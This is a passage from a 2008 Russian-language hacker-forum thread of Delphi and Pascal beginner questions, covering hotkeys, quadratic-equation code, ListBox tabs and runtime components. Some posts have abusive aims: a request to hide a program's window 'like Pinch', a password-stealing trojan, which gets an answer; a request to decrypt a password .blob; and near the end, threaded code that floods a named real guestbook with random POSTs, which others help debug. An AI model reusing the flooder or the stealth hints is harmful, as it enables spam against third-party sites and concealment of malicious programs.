RegisterHotKey(Form1.Handle, 1,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey1);
RegisterHotKey(Form1.Handle, 2,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey2);
RegisterHotKey(Form1.Handle, 3,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey3);
RegisterHotKey(Form1.Handle, 4,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey4);
RegisterHotKey(Form1.Handle, 5,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey5);
RegisterHotKey(Form1.Handle, 6,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey6);
RegisterHotKey(Form1.Handle, 7,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey7);
RegisterHotKey(Form1.Handle, 8,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey8);
RegisterHotKey(Form1.Handle, 9,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey9);
RegisterHotKey(Form1.Handle, 10,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey10);
end;
procedure TForm1.FormDestroy(Sender: TObject);
begin
UnRegisterHotKey(Form1.Handle,1);
RegisterHotKey(Form1.Handle, 2,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey2);
RegisterHotKey(Form1.Handle, 3,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey3);
RegisterHotKey(Form1.Handle, 4,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey4);
RegisterHotKey(Form1.Handle, 5,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey5);
RegisterHotKey(Form1.Handle, 6,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey6);
RegisterHotKey(Form1.Handle, 7,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey7);
RegisterHotKey(Form1.Handle, 8,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey8);
RegisterHotKey(Form1.Handle, 9,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey9);
RegisterHotKey(Form1.Handle, 10,MOD_SHIFT + MOD_ALT + MOD_CONTROL,hotkey10);
end;
end.
Как вариант просто игра может отрубать все хоткеи. Что часто и делается. По этому нужно копать в сторону снятие этой херни
Народ киньте плз исходники авто-регеров к примеру на любом дфиге без капчи
(делфи)
спасибо!
Попробывал сделать с хотки но все бы хорошо но с игрой не работает. Блокнот закрывает. Все закрывает, но как только запускаешь игру - не хочет работать. Вообще ни как не реагирует.
В чем может быть дело? подскажите или придется все же делать хук? Тогда помогите с хуком ибо уже неделю не могу сделать.
У меня твой код работал со всеми установленными игрушками, так что проверяй версию, что твоя прога (game) устанавливает свои хоткеи или сбрасывает существующие Как вариант просто игра может отрубать все хоткеи.
А может хоткей срабатывает, а твоя прога просто приложение завершить не могет?
По созданию глобального хука отправил пример в личку.
Syntaxys
30.09.2008, 20:09
Прошу помочь в постижении азов программирвания. Сделать надо на Паскале, чем проще , тем лучше.
Дано: ax^2 + bx +c =0
Найти корни.
Вот что получается:
Program discriminant;
Var G, f, d, i, k, l,n: integer;
M,O: real;
Begin readln (G, f, d, i)
G:=SQR(b);
f:=4*a;
d:=f*c;
i:=g-d;
if g>d;
then k:=-b;
l:=K+SQRT(i;
n:=K-SQRT(i;
m:=l/2;
o:=l/2;
writeln (M, O)
else writeln (No decision)
end.
Пробовал прогонять сие безобразие в Pascal ABC. Пишет " Ошибка: ожидался идентификатор, но "G" не обнаружено. Прошу подсказать в чем ошибка.
De-visible
30.09.2008, 20:19
мда....
De-visible
30.09.2008, 20:26
Писал закрытыми глазами?
Странно, что компилятор не лопнул....
Итак начнем :D :
1)После readln забыл точку с запятой...
2) a,b,c: не описаны(var a,b,c:real или integer)
3)После if g>d точку с запятой не надо...
4)l:=K+SQRT(i; забыл скобку закрыть
5)Дальше тоже чепуха...
Syntaxys
30.09.2008, 20:57
Писал закрытыми глазами?
Только начал изучать и в первый раз :p
Итак начнем :D :
1)После readln забыл точку с запятой...
2) a,b,c: не описаны(var a,b,c:real или integer)
3)После if g>d точку с запятой не надо...
4)l:=K+SQRT(i; забыл скобку закрыть
5)Дальше тоже чепуха...
1, 2, 3, 4 разобрался. Никак не могу воткнуть как правильно записать оператор ветвления :confused:
Теперь компилятор ругается на ";" перед else в операторе if.
Program discriminant;
Var G, f, d, i, k, l, n, a, b, c, M, o: real;
Begin readln (G, f, d, i);
G:=SQR(b);
f:=4*a;
d:=f*c;
i:=g-d;
if g>d
then
k:=-b;
l:=K+SQRT(i);
n:=K-SQRT(i);
m:=l/2;
o:=l/2;
writeln (M, O);
else writeln (No decision)
end.
Теперь компилятор ругается на ";" перед else в операторе if.
это потому что там не надо ";" как ни странно:))))
if g>d
then
k:=-b;
l:=K+SQRT(i);
n:=K-SQRT(i);
m:=l/2;
o:=l/2;
writeln (M, O);
else writeln (No decision)
end.
Условие в общем случае описывается:
if (условие_истинно) then действие_1
else действие_2;
или в операторных скобках begin end, если необходимо выполнить несколько действий сразу:
if (условие_истинно) then
begin
действие_1;
действие_2;
действие_3;
end
else
begin
действие_1;
действие_3;
end;
Перед "else" " ; " не ставится, а если хочешь во "WriteLn(No decision)" вывести текст, то необходимо заключить его в кавычки
WriteLn('No decision');
Это по синтаксису... Кажется так :) , а также задумайся о книжке по Паскалю.
С математикой сам разберешься.
WinApi:
необходимо переместить курсор в мемо на самую последнюю строку не зная заренее количество строк.
Syntaxys
ИМХО темой ошибся. Лучше, наверное было бы сюда (http://forum.antichat.ru/thread42678.html)
Вот решение:
program descriminant;
var a,b,c,D:real;
begin
writeln('Solving a*x^2+b*x+c=0');
write('Input a=');
readln(a);
write('Input b=');
readln(b);
write('Input c=');
readln(c);
D:=b*b-4*a*c;
if D<0 then writeln('D<0 where are no solutions')
else if D=0 then writeln('Solution is x1=',-b/2/a)
else
begin
writeln('First solution is x1=',(-b+sqrt(D))/2/a);
writeln('Second solution is x2=',(-b-sqrt(D))/2/a);
end;
end.
WinApi:
необходимо переместить курсор в мемо на самую последнюю строку не зная заренее количество строк.
вроде работает
SendMessage(memo1.Handle,EM_SETSEL,0,-1);
SendMessage(memo1.Handle,EM_SETSEL,-1,0);
SetFocus(memo1.Handle);
omen-6-6-6
01.10.2008, 16:01
как сделать на дэлфи чтобы из программы можно было отправлять сообщение на мыло?
https://forum.antichat.ru/thread64446.html
Syntaxys
01.10.2008, 19:02
if (условие_истинно) then
begin
действие_1;
действие_2;
действие_3;
end
else
begin
действие_1;
действие_3;
end;
После первого end требует точки, которую, соответственно ставить нельзя.
mfcn, спасибо большое, но мне нужно не готовое халявное решение, а разобраться самому + код чем проще тем лучше, можно за счет "техничности", размера и тд. То есть больше переменных меньше операторов. Другой свой вопрос задам по ссылке приведенной Вами выше.
Syntaxys
01.10.2008, 19:14
Все разобрался кажись. Всем спасибо =)
Можно как то текст в ListBox добавить табуляцию?
Можно как то текст в ListBox добавить табуляцию?
Вообще-то мало что понял, но по ключевым словам в DelphiWorld'e можешь найти следующее:
В книгах и других источниках по Delphi часто приводится пример создания компонента, способного выводить текст в списке в несколько колонок. Между тем, мало кому известен факт, что стандартный компонент TListBox уже содержит свойство, которое позволяет это делать. Это свойство TabWidth (в Delphi 2 оно не описано в файлах помощи, хотя так же присутствует), которое наследуется от класса TCustomListBox и задает величину табуляции в пикселах. Установите его равным, скажем, половине ширины компонента ListBox, чтобы отображалось две колонки. Когда будете добавлять строки, всавьте в нужных местах символ табуляции (^I):
ListBox1.Items.Add('Колонка1'^I'Колон а2');
Недостаток такого подхода заключается в том, что ширина колонки не изменяется авоматически в зависимости от ширины выводимых строк, что, впрочем, легко исправить. Посмотрите на метод TextWidth класса TCanvas. Он возвращает ширину в пикселах передаваемой ему в качестве параметра строки. Тогда перед добавлением каждого нового элемента в список проверяем, превышает ли его ширина ширину колонки:
with ListBox do
begin
W := Canvas.TextWidth(Str);
if W > TabWidth then
TabWidth := W;
end;
QEMATRIEL
03.10.2008, 15:25
Подскажите, если вот есть переменная mass[0..50] of string то как можно обратится к конкретному символу в каком нибудь элементе массива?
De-visible
03.10.2008, 15:31
Подскажите, если вот есть переменная mass[0..50] of string то как можно обратится к конкретному символу в каком нибудь элементе массива?
Вопроса не понял...
Допустим массив:
mass: array [0..50] of string
Обратиться к I - тому элементу mass[i].
дык если
mas:array [0..50] of string;
тогда
mas[x][y]:='z';
где х - элемент массива. От 0 до 50
а Y - символ строки. От 1 до length()
помогите плиз, как встроить в прогу на делфи проигрывание mp3 файла вне зависимости от того, хочет ли этого юзер. Т.е. что-то вроде музыкальной темы, также нужно, чтобы заново проигрывался файл и заново, и заново...
cremator (c)
05.10.2008, 14:13
Добавляешь компонент медиапроигрыватель(точно название не помню) и выставляешь в нем параметры где файл находится и т.д.
А как в ListBox для определенного итема определенную иконку запхнуть?
юзай ListView
А где можно почитать о том как его юзать.А то в BDS 2006 справка чисто содрана копипастом с мсдн и про борланлские компоненты там почти не слова.
Народ имееться файл формата .blob мне нужно его расшифровать как это сделать с помощью делфи??? там в файле храняться пароли а если открыть текстовиком то там будут миллион строк!
cremator (c)
06.10.2008, 02:38
Файл текстовый? Или че эт за формат?
Ну так кто то все таки знает как в канву листбокса выводить рисунок подгруженный из ресурсов с помощью TBitmap ?
cremator (c) вот это я и спрашиваю приблизительно
И еще вопрос.....
Как сделать чтобы при запуске проги не запускалось окно
Ну по типу пинча
De-visible
06.10.2008, 23:26
cremator (c) вот это я и спрашиваю приблизительно
И еще вопрос.....
Как сделать чтобы при запуске проги не запускалось окно
Ну по типу пинча
можно сделать его просто невидимы, но нужна ли тебе вообще форма?
Лучше создай консольный проект и формы вообще не будет.=)
Как сделать чтобы при запуске проги не запускалось окно
Ну по типу пинча
для этого достаточно не создавать окна. Если же надо его скрыть:
http://www.codenet.ru/progr/delphi/vcl_faq/072.php
bons спасибо помогло Application.ShowMainForm := False;
+ в репу тебе!
пишу ...точнее пытаюсь написать программу на турбо паскаль, ну чет не получается, помогите, че исправить над, буду благодарен вот код:
program Week;
var U, R : integer;
label ukr, rus;
begin
writeln('Виберіть мову/Выберите язык: U - українська; R - русский');
read(U,R);
UKR:function UKR (var x : integer);
begin
writeln('Введіть число [день тижня]:');
read(x);
write('День - ');
case x of
1:Write ('Понеділок, ');
2:Write ('Вівторок, ');
3:Write ('Середа, ');
4:Write ('Четвер, ');
5:Write ('Пятниця, ');
6:Write ('Субота, ');
7:Write ('Неділя, ');
else writeln('не вибраний! В тижні сім днів! Вибиріть число від 1 до 7!');
end;
case x of
1:Write ('перший день робочого тижня!');
2:Write ('другий');
3:Write ('третій');
4:Write ('четветрий');
5:Write ('п''''ятий');
6:Write ('шостий');
7:Write ('сьомий');
end;
if x=1 then writeln(' день робочого тижня! ');
if x=2 then writeln(' день робочого тижня! ');
if x=3 then writeln(' день робочого тижня! ');
if x=4 then writeln(' день робочого тижня! ');
if x=5 then writeln(' день робочого тижня! ');
if x=6 then writeln(' день робочого тижня! ');
if x=7 then writeln(' день робочого тижня! ');
writeln('Кротка замітка:');
if x=1 then writeln('опис');
if x=2 then writeln('опис');
if x=3 then writeln('опис');
if x=4 then writeln('опис');
if x=5 then writeln('опис');
if x=6 then writeln('опис');
if x=7 then writeln('опис');
end;
RUS:function RUS (var x : integer);
begin
writeln('Введите число [день недели]:');
read(x);
write('День - ');
case x of
1:Write ('Понедельник, ');
2:Write ('Вторник, ');
3:Write ('Среда, ');
4:Write ('Четверг, ');
5:Write ('Пятница, ');
6:Write ('Суббота, ');
7:Write ('Воскресенье, ');
else writeln('не выбран! В неделе семь дней! Выберите число от 1 до 7!');
end;
case x of
1:Write ('первый');
2:Write ('второй');
3:Write ('третий');
4:Write ('четвертый');
5:Write ('пятый');
6:Write ('шестой');
7:Write ('седьмой');
end;
if x=1 then writeln(' день недели! ');
if x=2 then writeln(' день недели! ');
if x=3 then writeln(' день недели! ');
if x=4 then writeln(' день недели! ');
if x=5 then writeln(' день недели! ');
if x=6 then writeln(' день недели! ');
if x=7 then writeln(' день недели! ');
writeln('Заметка:');
if x=1 then writeln('Понедельник....описани ');
if x=2 then writeln('Вторник........описание');
if x=3 then writeln('Среда..........описание');
if x=4 then writeln('Четверг........описание');
if x=5 then writeln('Пятница........описание');
if x=6 then writeln('Суббота........описание');
if x=7 then writeln('Воскресенье....описани ');
end;
if read(U) then goto ukr else writeln(Error);
if read(R) then goto rus else writeln(Error);
end.
и еще один вопрос, допустим я пишу программу, ввести например цифру одну из 5 тоесть либо 1 либо 2 и т.д до 5, ставлю условие,как сделать так, чтоб когда срабатывало else, было выведено то значение, котороя я вводил, тоесть я вписал 6, сработало елсе, ну например "введите цифру от 1 до 5 а не "N" " - так вот, n - это 6, а как сделать шоб оно выводило его, если пользователь напишет там 125 и т.д.
De-visible
25.10.2008, 11:46
Народ почему у мя не отпр. массаги от ICQ ??? (компонент от оскара вроде)
Кто сталкивался?
Это не форум экстрасенсов , иди учись правильно задавать вопросы..
=========
пишу ...точнее пытаюсь написать программу на турбо паскаль, ну чет не получается, помогите, че исправить над, буду благодарен вот код:
Там код чепуха полная...
и еще один вопрос, допустим я пишу программу, ввести например цифру одну из 5 тоесть либо 1 либо 2 и т.д до 5, ставлю условие,как сделать так, чтоб когда срабатывало else, было выведено то значение, котороя я вводил, тоесть я вписал 6, сработало елсе, ну например "введите цифру от 1 до 5 а не "N" " - так вот, n - это 6, а как сделать шоб оно выводило его, если пользователь напишет там 125 и т.д.
case of-оператор выбора,посмотри
De-visible и не форум школы где учаться и указывают
cremator (c)
25.10.2008, 22:00
Че то не могу вспомнить.. Вот мне в процессе выполнения надо создать новый компонент, будь то любой батон, или едит ..)
Че то не могу вспомнить.. Вот мне в процессе выполнения надо создать новый компонент, будь то любой батон, или едит ..)
var button:TButton;
begin
button:=TButton.Create(self);
with button do begin
Top:=50;
Left:=50;
Visible:=true;
Parent:=Form1;
Caption:='button';
Height:=70;
Width:=70;
end;
end;
Знающие люди подскажите в чем моя ошибка?
Пишу флудер для гостевухи... (особо ее не флудить... я так для набива рук написал)
Это потоки:
procedure Fluder.Execute;
var
list:TStringList;
a,b,c,d,e,r:string;
begin
randomize;
a:='оаыве';
b:='нецйг';
c:='зъхлр';
d:='кунуй';
e:='иьпар';
r:=a[Random(Length(a))]+b[Random(Length(b))]+d[Random(Length(c))]+e[Random(Length(e))]+c[Random(Length(c))];
idhttp1.Create(nil);
list:=TStringList.Create;
list.Add('name='+r);
list.Add('txt='+r);
list.Add('send=1');
IdHTTP1.Post('http://www.ko-luch.ru/cgi-bin/gbform.cgi',list);
list.Free;
end;
procedure Fluder.IdHTTP1Redirect(Sender: TObject; var dest: String;
var NumRedirect: Integer; var Handled: Boolean;
var VMethod: TIdHTTPMethod);
begin
Handled:= TRUE;
end;
Это форма:
procedure TForm1.Button1Click(Sender: TObject);
var
i,count:integer;
Potoki:array of fluder;
begin
count:=strtoint(edit1.Text);
SetLength(Potoki,count);
for i:=0 to count-1 do
begin
Potoki[i]:=fluder.Create(true);
Potoki[i].resume;
Potoki[i].Priority:= tpLower;
end;
end;
Ругаеться на строку idhttp1.Create(nil); (в потоках) когда я жмякаю на кнопку (на форме)
ЗЫ особо не ругайте за мой тупой рандомайз/рандом
idhttp1:=idhttp1.Create(nil);
cylaaaan
26.10.2008, 16:23
Как в потоки передавать параметры?
Что-то типа брутера, спамера
W!z@rD не хочет...
все такая же ошибка... даже делал idhttp1:=Tidhttp1.create(nil);
cylaaaan
26.10.2008, 16:40
попробуй без idhttp1:=Tidhttp1.create(nil);
все такая же ошибка... даже делал idhttp1:=Tidhttp1.create(nil);
а вот так: idhttp1:=Tidhttp1.create(self);
bons аж не комплируеться
cylaaaan смысла тода вообще нету....
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot